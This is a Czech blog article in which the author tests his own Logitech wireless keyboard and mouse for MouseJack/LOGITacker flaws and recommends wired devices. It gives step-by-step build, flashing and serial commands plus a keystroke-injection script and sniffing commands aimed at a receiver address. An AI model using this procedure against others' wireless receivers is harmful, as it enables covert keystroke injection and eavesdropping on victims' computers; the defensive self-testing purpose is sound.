Moje odkazy
Obsah článku:
vydáno: 16. 8. 2019 23:55, aktualizováno: 17. 7. 2020 00:39
Nedávno médii proběhla další vlna zpráv o děravých bezdrátových klávesnicích a myších. Bezpečnostních upozornění je čím dál víc a pro hodně lidí se z toho stává jen šum, který přestávají vnímat. Často jde o díry v serverovém softwaru nebo zranitelnosti zneužitelné za hodně specifických podmínek. Tento útok se ale týká přímo koncových uživatelů, lze ho provést snadno a může napáchat velké škody, takže si myslím, že je dobré mu věnovat pozornost.
Poprvé na tenhle problém upozornila v roce 2016 firma Bastille Networks a nazvala ho MouseJack. Letos vyšly na světlo další zranitelnosti, kterých využívá program LOGITacker. Jednu bezdrátovou klávesnici kombinovanou s myší tu mám a i když ji nepoužívám, chtěl jsem otestovat, zda ji lze tímto způsobem napadnout.
Jde o dnes prodávané bezdrátové klávesnice a myši pracující v bezlicenčním pásmu 2,4 GHz a používající obvykle rádiové čipy od firmy Nordic Semiconductor. Na trhu se tyto výrobky prodávají pod značkami jako Logitech, Lenovo, Microsoft, HP, Dell aj.
Tyto útoky se netýkají Bluetooth zařízení (byť pracují na stejné frekvenci) ani starších výrobků, které pracují obvykle na nižších frekvencích a používají jiné protokoly – ty sice byly často ještě děravější než současná produkce, ale dnešní nástroje ani útočníci se na ně už moc nezaměřují, protože tento už HW málokdo používá (alespoň ne ve firmách, kde by útok byl nejzajímavější).
Opravdu nejde o to, že by nám někdo jen hýbal kurzorem a tím nás rozčiloval…
Na samotném bezdrátovém přenosu na frekvenci 2,4 GHz není v zásadě nic špatného… pokud se to udělá dobře tzn. použije se dostatečně silná šifra, vhodný protokol pro výměnu klíčů, párování a všechno kolem. V praxi se to ale často dobře nedělá a můžeme se setkat s následujícími problémy:
Nejdříve jsem zkoušel štěstí s bezdrátovým modulem nRF24, který se mi tu válel doma, a s programem Arduino_mousejack, který se nahrává do Arduina a má sloužit k autonomním útokům – stačí připojit jen napájení – ve firmwaru je totiž vložený skript (posloupnost stisků kláves), který se má provést po úspěšném napadení oběti. Stav signalizuje blikání diody na Arduinu.
Program se kompiluje a nahrává pomocí nástroje PlatformIO, o kterém jsem psal např. v článku The Things Network – LoRaWAN – IoT (doporučuji si tam přečíst i tu poznámku k bezpečnosti).
# upravíme si skript, který se má vykonat:
emacs tools/ducky.txt
# vygenerujeme z něj attack.h:
tools/attack_generator.py tools/ducky.txt
# zkompilujeme:
platformio run
# nahrajeme firmare do Arduina:
platformio run --target upload
I když by teď zařízení mělo pracovat samostatně, pro ladění se k němu připojíme přes sériový port:
screen /dev/ttyUSB0
Program nám pak vypisuje, co dělá – projíždí všechny kanály (v každém cyklu vypíše „starting channel sweep“) a snaží se zachytit přenášená data:
starting scan...
STATUS = 0x0e RX_DR=0 TX_DS=0 MAX_RT=0 RX_P_NO=7 TX_FULL=0
RX_ADDR_P0-1 = 0x00000000aa 0xc2c2c2c2c2
RX_ADDR_P2-5 = 0xc3 0xc4 0xc5 0xc6
TX_ADDR = 0xe7e7e7e7e7
RX_PW_P0-6 = 0x20 0x00 0x00 0x00 0x00 0x00
EN_AA = 0x00
EN_RXADDR = 0x01
RF_CH = 0x19
RF_SETUP = 0x09
CONFIG = 0x07
DYNPD/FEATURE = 0x00 0x00
Data Rate = 2MBPS
Model = nRF24L01+
CRC Length = Disabled
PA Power = PA_MIN
starting channel sweep
starting channel sweep
starting channel sweep
starting channel sweep
found packet /w valid crc... payload is empty. scanning...
found packet /w valid crc... payload is empty. scanning...
starting channel sweep
found packet /w valid crc... payload is empty. scanning...
found packet /w valid crc... payload is empty. scanning...
starting channel sweep
found packet /w valid crc... payload is empty. scanning...
found packet /w valid crc... payload is empty. scanning...
starting channel sweep
starting channel sweep
starting channel sweep
starting channel sweep
Komunikace mezi Arduinem a rádiovým modulem zjevně funguje a nějaké pakety z klávesnice/myši se zachytit podařilo. Vždy to ale končilo na „payload is empty“.
Po delší době se mi jednou vypsalo:
found packet /w valid crc... payload length is 6
ch: 27 s: 6 a: … p: …
starting attack
avšak na cílovém počítači se nic nestalo. Ještě si s tím zkusím trochu pohrát, nicméně zatím se mi pomocí tohoto softwaru útok provést nepodařilo – to ale ještě neznamená, že daná klávesnice/myš je bezpečná. Také je možné, že s jinou myší by tento software fungoval.
Firma Nordic Semiconductor dodává vývojovou destičku s čipem nRF52840 – ta obsahuje USB konektor a vše, co je potřeba – slouží k vývoji prototypů. A k tomuto zařízení mame82 napsal firmware LOGITacker, který umožňuje odposlouchávat a ovládat bezdrátové klávesnice a myši. Druhý pokus jsem tedy provedl s tímto vybavením.
Na obrázku je PCA10059 od Nordicu a USB přijímač dodávaný s klávesnicemi a myšmi od Logitechu (tzv. Logitech Unifying receiver). Na tento příjímač budeme útočit, abychom zjistili, zda je naše klávesnice nebo myš zranitelná.
Postup kompilace LOGITackeru bohužel není zdokumentovaný, takže si musíme poradit sami. Soubor Makefile
sice v podadresářích najdeme, ale nejde to sestavit jen tak, protože se odkazuje na cestu ../../../../../../components/toolchain/gcc/Makefile.common
což je tedy jakési lokální nastavení, které má autor na svém počítači.
Tak si stáhneme SDK od Nordicu a rozbalíme do nějakého adresáře. Soubor Makefile.common
tam je, takže máme štěstí. Cestu k SDK pak nastavíme v pca10059/blank/armgcc/Makefile
v proměnné SDK_ROOT
. Dále potřebujeme kompilátor, který si v Debianu/Ubuntu nainstalujeme následujícím příkazem:
apt install gcc-arm-none-eabi
A v souboru components/toolchain/gcc/Makefile.posix
si pak nastavíme cestu k němu:
GNU_INSTALL_ROOT ?= /usr/bin/ GNU_VERSION ?= 6.3.1
Teď už nám make
projde hladce a výsledkem je soubor _build/logitacker_pca10059.hex
.
Firmware, který jsme si zkompilovali (případně ten, který autor uložil do adresáře build
v gitu), si teď nahrajeme do zařízení. K tomu potřebujeme nástroj nrfutil
od Nordicu – ten si naisntalujeme příkazem:
pip install nrfutil
Potom z HEX souboru vyrobíme ZIP obsahující kromě binárky i nějaká metadata:
nrfutil pkg generate logitacker.zip \ --application logitacker_pca10059.hex \ --debug-mode \ --hw-version 52 \ --sd-req 0
Jelikož nechceme pouštět potenciálně nebezpečný kód pod rootem, používáme pro tyto účely vyhrazený počítač nebo alespoň uživatelský účet – tomu je potřeba nejprve povolit přístup k danému sériovému portu:
setfacl -m u:hacker:rw /dev/ttyACM0 # případně vytvoříme pravidlo pro udev
A na rozdíl od Arduina nestačí PCA10059 zastrčit do USB portu a je potřeba ho do režimu, ve kterém lze nahrávat firmware, přepnout hardwarovým tlačítkem (tím menším s nápisem RESET). Teď už můžeme ZIP s firmwarem poslat do našeho zařízení:
nrfutil dfu usb-serial --package logitacker.zip --port /dev/ttyACM0
K zařízení se připojíme přes sériový port:
screen /dev/ttyACM0
a ovládáme ho zadáváním příkazů. Rozhraní je dokonce barevné a funguje v něm napovídání tabulátorem:
Bohužel tu nefunguje Backspace, takže když uděláme překlep, musíme použít Ctrl+h.
Na rozdíl od kompilace autor příkazy a použití celkem zdokumentoval. V základním režimu, do kterého jsme se dostali, zařízení sleduje rádiový provoz a loguje ho – takže když např. připojíme USB přijímač, zapneme klávesnici nebo pohneme myší, hned vidíme, že se něco děje. přízak devices
nám vypíše nalezená zařízení:
Když něco napíšeme na klávesnici nebo pohneme myší, LOGITacker z toho pozná, o jaké zařízení se jedná a upraví výpis – v tomto případě jde o kombinovanou klávesnici s myší od Logitechu:
Vidíme, že klávesnice je šifrovaná a myš nešifrovaná. Teď si můžeme připravit skript (posloupnost stisků kláves) a poslat ho do přijímače, který testujeme:
script delay 5000 script string ahoj inject target 76:2A:94:0F:07 inject execute
Pokud je zařízení zranitelné, tak se pět vteřin počká (tento čas můžeme využít na přepnutí do textového editoru) a následně se simulují stisky kláves a h o j. Kdybychom byli zlý útočník, tak bychom sem vložili stisky kláves, které povedou ke stažení nějakého škodlivého kódu a k napadení počítače oběti. Nám ale stačí, že jsme zjistili, že naše klávesnice/myš je děravá a že je nebezpečné ji používat. Dále můžeme udělat:
active_enum 76:2A:94:0F:07
Což aktivně komunikuje s cílovým zařízením a je to schopné najít klávesnici k dané myši, i když jsme na klávesnici zatím nic nepsali. Výstup příkau devices
se nám pak změní na:
Pomocí passive_enum
by pak mělo být možné odposlouchávání a přeposílání události skrze USB do našeho počítače (kromě sériového portu totiž PCA10059 s LOGITacker firmwarem funguje i jako USB HID klávesnice a myš)…
PCA10059 má flash paměť, takže si připravené skripty můžeme ukládat do ní. Rovněž se do ní ukládají nalezená zařízení. Tuto paměť můžeme vymazat příkazem erase_flash
.
Dnes jsme si prakticky ukázali, jak velký problém dokáže způsobit nenápadný a nevinně vyhlížející příjímač zasunutý do USB portu našeho počítače. Pokud si nejste jistí, je lepší tato zařízení nepoužívat a přejít na klasické drátové klávesnice a myši. n.b. nestačí vypnout klávesnici nebo myš – je potřeba vypojit rádiový přijímač z USB portu, protože zranitelný je primárně ten. Pokud výrobce vašeho hardwaru vydá upgrade ovladačů/firmwaru, může se to tím spravit. Nicméně i tak bych všechna svoje zařízení doporučoval průběžně testovat tím, že na ně bute útočit dostupnými nástroji.
Témata: [crack] [počítačová bezpečnost] [hardware]
Tento článek zatím nikdo nekomentoval